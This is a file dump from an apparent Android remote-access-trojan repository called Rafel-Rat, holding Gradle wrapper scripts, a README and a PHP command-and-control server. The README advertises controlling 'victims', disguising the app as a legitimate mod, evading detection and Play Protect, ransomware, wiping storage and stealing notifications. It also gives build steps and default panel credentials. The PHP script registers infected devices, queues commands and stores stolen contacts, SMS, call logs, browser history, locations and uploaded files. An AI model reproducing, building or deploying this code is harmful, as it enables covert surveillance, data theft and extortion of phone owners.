https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/BlackMart/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /BlackMart/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Fri Feb 26 12:33:44 EET 2021 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | distributionUrl=https\://services.gradle.org/distributions/gradle-6.5-all.zip 7 | -------------------------------------------------------------------------------- /BlackMart/gradlew: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | 3 | ############################################################################## 4 | ## 5 | ## Gradle start up script for UN*X 6 | ## 7 | ############################################################################## 8 | 9 | # Attempt to set APP_HOME 10 | # Resolve links: $0 may be a link 11 | PRG="$0" 12 | # Need this for relative symlinks. 13 | while [ -h "$PRG" ] ; do 14 | ls=`ls -ld "$PRG"` 15 | link=`expr "$ls" : '.*-> \(.*\)$'` 16 | if expr "$link" : '/.*' > /dev/null; then 17 | PRG="$link" 18 | else 19 | PRG=`dirname "$PRG"`"/$link" 20 | fi 21 | done 22 | SAVED="`pwd`" 23 | cd "`dirname \"$PRG\"`/" >/dev/null 24 | APP_HOME="`pwd -P`" 25 | cd "$SAVED" >/dev/null 26 | 27 | APP_NAME="Gradle" 28 | APP_BASE_NAME=`basename "$0"` 29 | 30 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 31 | DEFAULT_JVM_OPTS="" 32 | 33 | # Use the maximum available, or set MAX_FD != -1 to use that value. 34 | MAX_FD="maximum" 35 | 36 | warn () { 37 | echo "$*" 38 | } 39 | 40 | die () { 41 | echo 42 | echo "$*" 43 | echo 44 | exit 1 45 | } 46 | 47 | # OS specific support (must be 'true' or 'false'). 48 | cygwin=false 49 | msys=false 50 | darwin=false 51 | nonstop=false 52 | case "`uname`" in 53 | CYGWIN* ) 54 | cygwin=true 55 | ;; 56 | Darwin* ) 57 | darwin=true 58 | ;; 59 | MINGW* ) 60 | msys=true 61 | ;; 62 | NONSTOP* ) 63 | nonstop=true 64 | ;; 65 | esac 66 | 67 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar 68 | 69 | # Determine the Java command to use to start the JVM. 70 | if [ -n "$JAVA_HOME" ] ; then 71 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 72 | # IBM's JDK on AIX uses strange locations for the executables 73 | JAVACMD="$JAVA_HOME/jre/sh/java" 74 | else 75 | JAVACMD="$JAVA_HOME/bin/java" 76 | fi 77 | if [ ! -x "$JAVACMD" ] ; then 78 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME 79 | 80 | Please set the JAVA_HOME variable in your environment to match the 81 | location of your Java installation." 82 | fi 83 | else 84 | JAVACMD="java" 85 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 86 | 87 | Please set the JAVA_HOME variable in your environment to match the 88 | location of your Java installation." 89 | fi 90 | 91 | # Increase the maximum file descriptors if we can. 92 | if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then 93 | MAX_FD_LIMIT=`ulimit -H -n` 94 | if [ $? -eq 0 ] ; then 95 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then 96 | MAX_FD="$MAX_FD_LIMIT" 97 | fi 98 | ulimit -n $MAX_FD 99 | if [ $? -ne 0 ] ; then 100 | warn "Could not set maximum file descriptor limit: $MAX_FD" 101 | fi 102 | else 103 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" 104 | fi 105 | fi 106 | 107 | # For Darwin, add options to specify how the application appears in the dock 108 | if $darwin; then 109 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" 110 | fi 111 | 112 | # For Cygwin, switch paths to Windows format before running java 113 | if $cygwin ; then 114 | APP_HOME=`cygpath --path --mixed "$APP_HOME"` 115 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` 116 | JAVACMD=`cygpath --unix "$JAVACMD"` 117 | 118 | # We build the pattern for arguments to be converted via cygpath 119 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` 120 | SEP="" 121 | for dir in $ROOTDIRSRAW ; do 122 | ROOTDIRS="$ROOTDIRS$SEP$dir" 123 | SEP="|" 124 | done 125 | OURCYGPATTERN="(^($ROOTDIRS))" 126 | # Add a user-defined pattern to the cygpath arguments 127 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then 128 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" 129 | fi 130 | # Now convert the arguments - kludge to limit ourselves to /bin/sh 131 | i=0 132 | for arg in "$@" ; do 133 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` 134 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option 135 | 136 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition 137 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` 138 | else 139 | eval `echo args$i`="\"$arg\"" 140 | fi 141 | i=$((i+1)) 142 | done 143 | case $i in 144 | (0) set -- ;; 145 | (1) set -- "$args0" ;; 146 | (2) set -- "$args0" "$args1" ;; 147 | (3) set -- "$args0" "$args1" "$args2" ;; 148 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;; 149 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; 150 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; 151 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; 152 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; 153 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; 154 | esac 155 | fi 156 | 157 | # Escape application args 158 | save () { 159 | for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done 160 | echo " " 161 | } 162 | APP_ARGS=$(save "$@") 163 | 164 | # Collect all arguments for the java command, following the shell quoting and substitution rules 165 | eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" 166 | 167 | # by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong 168 | if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then 169 | cd "$(dirname "$0")" 170 | fi 171 | 172 | exec "$JAVACMD" "$@" 173 | -------------------------------------------------------------------------------- /BlackMart/gradlew.bat: -------------------------------------------------------------------------------- 1 | @if "%DEBUG%" == "" @echo off 2 | @rem ########################################################################## 3 | @rem 4 | @rem Gradle startup script for Windows 5 | @rem 6 | @rem ########################################################################## 7 | 8 | @rem Set local scope for the variables with windows NT shell 9 | if "%OS%"=="Windows_NT" setlocal 10 | 11 | set DIRNAME=%~dp0 12 | if "%DIRNAME%" == "" set DIRNAME=. 13 | set APP_BASE_NAME=%~n0 14 | set APP_HOME=%DIRNAME% 15 | 16 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 17 | set DEFAULT_JVM_OPTS= 18 | 19 | @rem Find java.exe 20 | if defined JAVA_HOME goto findJavaFromJavaHome 21 | 22 | set JAVA_EXE=java.exe 23 | %JAVA_EXE% -version >NUL 2>&1 24 | if "%ERRORLEVEL%" == "0" goto init 25 | 26 | echo. 27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 28 | echo. 29 | echo Please set the JAVA_HOME variable in your environment to match the 30 | echo location of your Java installation. 31 | 32 | goto fail 33 | 34 | :findJavaFromJavaHome 35 | set JAVA_HOME=%JAVA_HOME:"=% 36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 37 | 38 | if exist "%JAVA_EXE%" goto init 39 | 40 | echo. 41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 42 | echo. 43 | echo Please set the JAVA_HOME variable in your environment to match the 44 | echo location of your Java installation. 45 | 46 | goto fail 47 | 48 | :init 49 | @rem Get command-line arguments, handling Windows variants 50 | 51 | if not "%OS%" == "Windows_NT" goto win9xME_args 52 | 53 | :win9xME_args 54 | @rem Slurp the command line arguments. 55 | set CMD_LINE_ARGS= 56 | set _SKIP=2 57 | 58 | :win9xME_args_slurp 59 | if "x%~1" == "x" goto execute 60 | 61 | set CMD_LINE_ARGS=%* 62 | 63 | :execute 64 | @rem Setup the command line 65 | 66 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 67 | 68 | @rem Execute Gradle 69 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% 70 | 71 | :end 72 | @rem End local scope for the variables with windows NT shell 73 | if "%ERRORLEVEL%"=="0" goto mainEnd 74 | 75 | :fail 76 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 77 | rem the _cmd.exe /c_ return code! 78 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 79 | exit /b 1 80 | 81 | :mainEnd 82 | if "%OS%"=="Windows_NT" endlocal 83 | 84 | :omega 85 | -------------------------------------------------------------------------------- /BlackMart/local.properties: -------------------------------------------------------------------------------- 1 | ## This file must *NOT* be checked into Version Control Systems, 2 | # as it contains information specific to your local configuration. 3 | # 4 | # Location of the SDK. This is only used by Gradle. 5 | # For customization when using a Version Control System, please read the 6 | # header note. 7 | #Sat Mar 06 09:31:44 IST 2021 8 | sdk.dir=C\:\\Users\\Lenovo\\AppData\\Local\\Android\\Sdk 9 | -------------------------------------------------------------------------------- /BlackMart/settings.gradle: -------------------------------------------------------------------------------- 1 | include ':app' 2 | rootProject.name='Raptor' 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 swagkarna 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |

4 |

Rafel

5 | Rafel is Remote Access Tool Used to Control Victims Using WebPanel With More Advance Features.. 6 |

7 | 8 |

9 | 10 | 11 | 12 | 13 | 14 |

15 | 16 | * **If you like the tool and for my personal motivation so as to develop other tools please leave a +1 star** 17 | 18 | --- 19 | ### Main Features : 20 | - [X] Admin Permission 21 | - [X] Add App To White List(Ignore Battery Optimisation) 22 | - [X] Looks Like Legit Mod App 23 | - [X] Runs In Background Even App is Closed(May not work on some Devices) 24 | - [X] Accessibility Feature(Cause Erros in some device --> ignore it) 25 | - [X] Support Android v5 - v12 26 | - [X] No Port Forwarding Needed 27 | - [X] Acquire Wakelock 28 | - [X] Fully Undetectable 29 | - [X] Bypass PlayProtect 30 | - [X] WipeSdcard 31 | - [X] Lock Device Screen 32 | - [X] Change Wallpaper 33 | - [X] Ransomware 34 | - [X] Vibrate Device 35 | - [X] Delete Calls Logs 36 | - [X] Notify Victims Via Discord 37 | - [X] steal notifications(send through discord) 38 | - [X] Added AutoStart For (poco,xiaomi,oppo,vivo,LetV,Honor) 39 | --- 40 | 41 | ### Prerequisites 42 | - Android Studio 43 | 44 | OR 45 | 46 | - [ApkEasyTool](https://forum.xda-developers.com/android/software-hacking/tool-apk-easy-tool-v1-02-windows-gui-t3333960) 47 | --- 48 | ### Building Apk With Android Studio 49 | 50 | 1. Open Project ***BlackMart*** in Android Studio 51 | 2. Put the `command.php` link of server in InternalService.class class 52 | 3. Now open `NotificationListener.java` and enter replace with your discord webhook url 53 | 4. Build the Project 54 | 5. Zipalign and sign the Apk... 55 | --- 56 | ### Building Apk with ApkEasyTool: 57 | 58 | 1. Download BlackMartapk and decompile with `Apktool` and navigate to `smali_classes2\com\velociraptor\raptor` 59 | 2. Open `InternalService.smali` 60 | 3. Replace this with your Panel Url ***const-string v0, "https://your-webpanel-url/public/commands.php"*** 61 | 4. Now open `NotificationListener.smali` and enter replace with your discord webhook url 62 | 63 | --- 64 | ### Building Server 65 | 1. Upload Files in server Folder to Your HostingPanel 66 | 2. Now Open login.php 67 | 3. Enter Username ***Hande*** Password ***Ercel*** 68 | 4. Note : Make Sure your webhosting site uses Https and should have valid connection...I recommend 000webhost.com 69 | 5. You can now use panel to send commands and also refresh after it 70 | --- 71 | ### Rafel-Rat in Action [OLD] : 72 | 73 | https://user-images.githubusercontent.com/46685308/120080601-603c5380-c0d7-11eb-82b2-345d0bff7581.mp4 74 | 75 | Watch Video in Full Screen For Better Quality 76 | 77 | --- 78 | ## Screenshots[New] 79 | | | | | 80 | |:-------------------------:|:-------------------------:|:-------------------------:| 81 | | Panel-1 | Panel-2 | Panel-3 || 82 | 83 | --- 84 | 85 | ### Check this Article 86 | 87 | - https://dontkillmyapp.com/ 88 | 89 | 90 | --- 91 | ## Disclaimer 92 | Swagkarna Provides no warranty and will not be responsible for any direct or indirect damage caused by this tool.
93 | Rafel-Rat is built for Educational and Internal use ONLY.
94 | 95 | --- 96 | 97 | ## Contact : 98 | 99 | 100 | 101 | 102 | --- 103 | 104 |

105 | 106 |

107 |

Inspired From Raptor-Rat

108 | 109 | --- 110 | ### ❤️Supporters❤️ 111 | [![Stargazers repo roster for @swagkarna/Rafel-Rat](https://reporoster.com/stars/swagkarna/Rafel-Rat)](https://github.com/swagkarna/Rafel-Rat/stargazers) 112 | [![Forkers repo roster for @swagkarna/Rafel-Rat](https://reporoster.com/forks/swagkarna/Rafel-Rat)](https://github.com/swagkarna/Rafel-Rat/network/members) 113 | 114 | --- 115 | 116 | 117 | 118 | 119 | -------------------------------------------------------------------------------- /Screenshots/11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Screenshots/11.png -------------------------------------------------------------------------------- /Screenshots/22.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Screenshots/22.png -------------------------------------------------------------------------------- /Screenshots/Screenshot (70).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Screenshots/Screenshot (70).png -------------------------------------------------------------------------------- /Screenshots/Screenshot (71).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Screenshots/Screenshot (71).png -------------------------------------------------------------------------------- /Screenshots/Screenshot (72).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Screenshots/Screenshot (72).png -------------------------------------------------------------------------------- /Screenshots/Screenshot (73).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Screenshots/Screenshot (73).png -------------------------------------------------------------------------------- /Screenshots/Screenshot (84).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Screenshots/Screenshot (84).png -------------------------------------------------------------------------------- /Screenshots/Screenshot (85).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Screenshots/Screenshot (85).png -------------------------------------------------------------------------------- /Server_Panel/private/session_manager.php: -------------------------------------------------------------------------------- 1 | false 8 | ]; 9 | 10 | function createJson($json){ 11 | return json_encode($json, JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE); 12 | } 13 | 14 | function createFile($file_type, $device_id){ 15 | $file_name = '../private/storage/'.$file_type.'-'.$device_id.'-'.uniqid().'.json'; 16 | $fp = fopen($file_name, 'w'); 17 | fclose($fp); 18 | return $file_name; 19 | } 20 | 21 | function add_new_device(){ 22 | global $response_data; 23 | global $VICTIM_FILE_PATH; 24 | 25 | $device_path = $VICTIM_FILE_PATH; 26 | 27 | if(!file_exists($device_path)){ 28 | $fp = fopen($device_path, 'w'); 29 | fclose($fp); 30 | } 31 | 32 | $post_data = [ 33 | 'UNIQUE_ID' => $_POST['unique_id'], 34 | 'COUNTRY' => $_POST['country'], 35 | 'SOFTWARE_VERSION' => $_POST['software_version'], 36 | 'SIM_OPERATOR' => $_POST['sim_operator'], 37 | 'DEVICE_MODEL' => $_POST['device_model'], 38 | 'DEVICE_LANGUAGE' => $_POST['device_language'], 39 | 'IS_ROOTED' => $_POST['is_rooted'], 40 | 'CHARGE' => $_POST['charge'], 41 | 'TOTAL_RAM' => $_POST['total_ram'] 42 | ]; 43 | 44 | $strJsonFileContents = file_get_contents($device_path); 45 | $victim_array = json_decode($strJsonFileContents, true); 46 | $victim_array['device_list'][ $_POST['unique_id']] = $post_data; 47 | file_put_contents($device_path, createJson($victim_array)); 48 | $response_data['status'] = true; 49 | echo createJson($response_data); 50 | 51 | } 52 | 53 | if (isset($_POST['add_victim_device'])){ 54 | add_new_device(); 55 | } 56 | 57 | function insert_cmd(){ 58 | global $response_data; 59 | global $VICTIM_FILE_PATH; 60 | $device_path = $VICTIM_FILE_PATH; 61 | 62 | $strJsonFileContents = file_get_contents($device_path); 63 | $victim_array = json_decode($strJsonFileContents, true); 64 | $victim_array["device_list"][$_POST['target']]['commands'][$_POST['type']] = $_POST['value']; 65 | 66 | file_put_contents($device_path, json_encode($victim_array, JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE)); 67 | 68 | $response_data['status'] = true; 69 | echo createJson($response_data); 70 | exit(0); 71 | } 72 | 73 | if (isset($_POST['send_command'])){ 74 | insert_cmd(); 75 | } 76 | 77 | 78 | if (isset($_POST['get_file_list'])){ 79 | global $response_data; 80 | global $VICTIM_FILE_PATH; 81 | $device_path = $VICTIM_FILE_PATH; 82 | 83 | $file_list_array = explode(',', str_replace(['{', '}'], '', base64_decode($_POST['get_file_list']))); 84 | $last_file_array = array(); 85 | 86 | foreach ($file_list_array as $path_file){ 87 | $f_path = explode('=', $path_file); 88 | array_push($last_file_array, $f_path[1]); 89 | } 90 | 91 | $strJsonFileContents = file_get_contents($device_path); 92 | $victim_array = json_decode($strJsonFileContents, true); 93 | $victim_array["device_list"][$_POST['device_id']]['FILE_LIST'] = $last_file_array; 94 | 95 | file_put_contents($device_path, createJson($victim_array)); 96 | 97 | $response_data['status'] = true; 98 | echo createJson($response_data); 99 | } 100 | 101 | if (isset($_POST['device_id']) and isset($_POST['check_cmd'])){ 102 | global $response_data; 103 | global $VICTIM_FILE_PATH; 104 | $device_path = $VICTIM_FILE_PATH; 105 | $strJsonFileContents = file_get_contents($device_path); 106 | $victim_array = json_decode($strJsonFileContents, true); 107 | if($victim_array==null) exit(0); 108 | $cmd_response = $victim_array['device_list'][$_POST['device_id']]['commands']; 109 | if($cmd_response!=null) 110 | echo createJson($cmd_response); 111 | else 112 | echo createJson($response_data); 113 | unset($victim_array['device_list'][$_POST['device_id']]['commands']); 114 | file_put_contents($device_path, createJson($victim_array)); 115 | exit(0); 116 | } 117 | 118 | if (isset($_POST['contact_list'])){ 119 | $response_data['status'] = true; 120 | $contact_array = [ 121 | 'contact_list' => json_decode($_POST['contact_list'], true) 122 | ]; 123 | $device_id = $_POST['device_id']; 124 | file_put_contents(createFile('contact', $device_id), createJson($contact_array)); 125 | echo createJson($response_data); 126 | } 127 | 128 | if (isset($_POST['sms_list'])){ 129 | $response_data['status'] = true; 130 | $sms_array = [ 131 | 'sms_list' => json_decode($_POST['sms_list'], true) 132 | ]; 133 | $device_id = $_POST['device_id']; 134 | file_put_contents(createFile('sms', $device_id), createJson($sms_array)); 135 | echo createJson($response_data); 136 | } 137 | 138 | if (isset($_POST['call_log_history'])){ 139 | $call_log_array = [ 140 | 'call_log_list' => json_decode($_POST['call_log_history'], true) 141 | ]; 142 | $device_id = $_POST['device_id']; 143 | file_put_contents(createFile('call-log', $device_id), createJson($call_log_array)); 144 | $response_data['status'] = true; 145 | echo json_encode($response_data); 146 | } 147 | 148 | if (isset($_POST['browser_history'])){ 149 | $call_log_array = [ 150 | 'browser_history' => json_decode($_POST['browser_history'], true) 151 | ]; 152 | $device_id = $_POST['device_id']; 153 | file_put_contents(createFile('call-log', $device_id), createJson($call_log_array)); 154 | $response_data['status'] = true; 155 | echo json_encode($response_data); 156 | } 157 | 158 | if (isset($_POST['app_list'])){ 159 | 160 | $app_map_list = explode('#', str_replace(['{', '}'], '', base64_decode($_POST['app_list']))); 161 | $result_triim = array_map('trim', $app_map_list); 162 | //echo createJson($app_map_list); 163 | $last_app_list = array(); 164 | 165 | foreach (array_filter($result_triim) as $value){ 166 | 167 | $vall_array = explode(',', $value); 168 | 169 | $emptyRemoved = array_filter($vall_array); 170 | $app_firt_arr = null; 171 | $nn_arr = array(); 172 | foreach ($emptyRemoved as $vvv){ 173 | $pre_res = explode('=', $vvv); 174 | 175 | 176 | if (count($pre_res) == 3){ 177 | $app_firt_arr = $pre_res[0]; 178 | $app_name_ll = $pre_res[2]; 179 | $nn_arr['app_name'] = $app_name_ll; 180 | } elseif (count($pre_res) == 2){ 181 | if (trim($pre_res[0]) == 'package'){ 182 | $app_pck_name = $pre_res[1]; 183 | $nn_arr['app_package'] = $app_pck_name; 184 | } elseif (trim($pre_res[0]) == 'dir'){ 185 | $app_dir_namme = $pre_res[1]; 186 | $nn_arr['app_dir'] = $app_dir_namme; 187 | } 188 | } 189 | } 190 | 191 | $last_app_list[$app_firt_arr] = $nn_arr; 192 | } 193 | $f_list_arr = [ 194 | 'app_list' => $last_app_list 195 | ]; 196 | $device_id = $_POST['device_id']; 197 | file_put_contents(createFile('app-list', $device_id), createJson($f_list_arr)); 198 | $response_data['status'] = true; 199 | echo createJson($response_data); 200 | } 201 | 202 | /* 203 | 204 | Client command requests 205 | 206 | */ 207 | 208 | function readStorageFile($file_name){ 209 | $strJsonFileContents = file_get_contents('../private/storage/'.$file_name); 210 | $contact_json = json_decode($strJsonFileContents, true); 211 | echo createJson($contact_json); 212 | } 213 | 214 | if (isset($_POST['contact_file_name'])){ 215 | readStorageFile($_POST['contact_file_name']); 216 | } 217 | 218 | if (isset($_POST['app_file_listed'])){ 219 | readStorageFile($_POST['app_file_listed']); 220 | } 221 | 222 | if (isset($_POST['sms_file_name'])){ 223 | readStorageFile($_POST['sms_file_name']); 224 | } 225 | 226 | 227 | if (isset($_POST['browser_file_name'])){ 228 | readStorageFile($_POST['browser_file_name']); 229 | } 230 | 231 | 232 | if (isset($_POST['call_log_file'])){ 233 | readStorageFile($_POST['call_log_file']); 234 | } 235 | 236 | if (isset($_POST['get_location'])){ 237 | global $VICTIM_FILE_PATH; 238 | $device_path = $VICTIM_FILE_PATH; 239 | $strJsonFileContents = file_get_contents($device_path); 240 | $victim_array = json_decode($strJsonFileContents, true); 241 | echo createJson($victim_array['device_list'][$_POST['get_location']]['location']); 242 | } 243 | 244 | if (isset($_POST['show_file_path'])){ 245 | global $VICTIM_FILE_PATH; 246 | $device_path = $VICTIM_FILE_PATH; 247 | $strJsonFileContents = file_get_contents($device_path); 248 | $victim_array = json_decode($strJsonFileContents, true); 249 | echo createJson($victim_array['device_list'][$_POST['target']]['FILE_LIST']); 250 | } 251 | 252 | if (isset($_POST['location_update'])){ 253 | global $VICTIM_FILE_PATH; 254 | $device_path = $VICTIM_FILE_PATH; 255 | global $response_data; 256 | 257 | $post_data = [ 258 | 'x_axis' => $_POST['x_axis'], 259 | 'y_axis' => $_POST['y_axis'] 260 | ]; 261 | 262 | $strJsonFileContents = file_get_contents($device_path); 263 | $victim_array = json_decode($strJsonFileContents, true); 264 | $victim_array["device_list"][$_POST['device_id']]['location'] = $post_data; 265 | 266 | file_put_contents($device_path, createJson($victim_array)); 267 | 268 | $response_data['status'] = true; 269 | echo createJson($response_data); 270 | } 271 | 272 | 273 | if (isset($_FILES["uploaded_file"])) { 274 | 275 | global $response_data; 276 | 277 | $device_id = $_POST['device_id']; 278 | 279 | if (isset($_FILES["uploaded_file"])) { 280 | //$filename = uniqid(); //$_FILES["uploaded_file"]["name"]; 281 | $tmp_name = $_FILES['uploaded_file']['tmp_name']; 282 | $error = $_FILES['uploaded_file']['error']; 283 | if (!empty($tmp_name)) { 284 | $location = '../private/file_uploaded/'; 285 | if (move_uploaded_file($tmp_name, $location.$tmp_name)){ 286 | $response_data['status'] = true; 287 | } 288 | 289 | } else { 290 | $response_data['status'] = false; 291 | } 292 | } 293 | echo createJson($response_data); 294 | } 295 | -------------------------------------------------------------------------------- /Server_Panel/public/css/images/layers-2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/css/images/layers-2x.png -------------------------------------------------------------------------------- /Server_Panel/public/css/images/layers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/css/images/layers.png -------------------------------------------------------------------------------- /Server_Panel/public/css/images/marker-icon-2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/css/images/marker-icon-2x.png -------------------------------------------------------------------------------- /Server_Panel/public/css/images/marker-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/css/images/marker-icon.png -------------------------------------------------------------------------------- /Server_Panel/public/css/images/marker-shadow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/css/images/marker-shadow.png -------------------------------------------------------------------------------- /Server_Panel/public/css/toastify.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Toastify js 1.6.1 3 | * https://github.com/apvarun/toastify-js 4 | * @license MIT licensed 5 | * 6 | * Copyright (C) 2018 Varun A P 7 | */ 8 | 9 | .toastify { 10 | padding: 12px 20px; 11 | color: #ffffff; 12 | display: inline-block; 13 | box-shadow: 0 3px 6px -1px rgba(0, 0, 0, 0.12), 0 10px 36px -4px rgba(77, 96, 232, 0.3); 14 | background: -webkit-linear-gradient(315deg, #73a5ff, #5477f5); 15 | background: linear-gradient(135deg, #73a5ff, #5477f5); 16 | position: fixed; 17 | opacity: 0; 18 | transition: all 0.4s cubic-bezier(0.215, 0.61, 0.355, 1); 19 | border-radius: 2px; 20 | cursor: pointer; 21 | text-decoration: none; 22 | max-width: calc(50% - 20px); 23 | z-index: 2147483647; 24 | } 25 | 26 | .toastify.on { 27 | opacity: 1; 28 | } 29 | 30 | .toast-close { 31 | opacity: 0.4; 32 | padding: 0 5px; 33 | } 34 | 35 | .toastify-right { 36 | right: 15px; 37 | } 38 | 39 | .toastify-left { 40 | left: 15px; 41 | } 42 | 43 | .toastify-top { 44 | top: -150px; 45 | } 46 | 47 | .toastify-bottom { 48 | bottom: -150px; 49 | } 50 | 51 | .toastify-rounded { 52 | border-radius: 25px; 53 | } 54 | 55 | .toastify-avatar { 56 | width: 1.5em; 57 | height: 1.5em; 58 | margin: 0 5px; 59 | border-radius: 2px; 60 | } 61 | 62 | .toastify-center { 63 | margin-left: auto; 64 | margin-right: auto; 65 | left: 0; 66 | right: 0; 67 | max-width: fit-content; 68 | } 69 | 70 | @media only screen and (max-width: 360px) { 71 | .toastify-right, .toastify-left { 72 | margin-left: auto; 73 | margin-right: auto; 74 | left: 0; 75 | right: 0; 76 | max-width: fit-content; 77 | } 78 | } -------------------------------------------------------------------------------- /Server_Panel/public/images/ekran-mesajı.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/Rafel-Rat/e1d8c338209382c0ec9e5971a7d3291458e283da/Server_Panel/public/images/ekran-mesajı.png -------------------------------------------------------------------------------- /Server_Panel/public/images/login.png: -------------------------------------------------------------------------------- 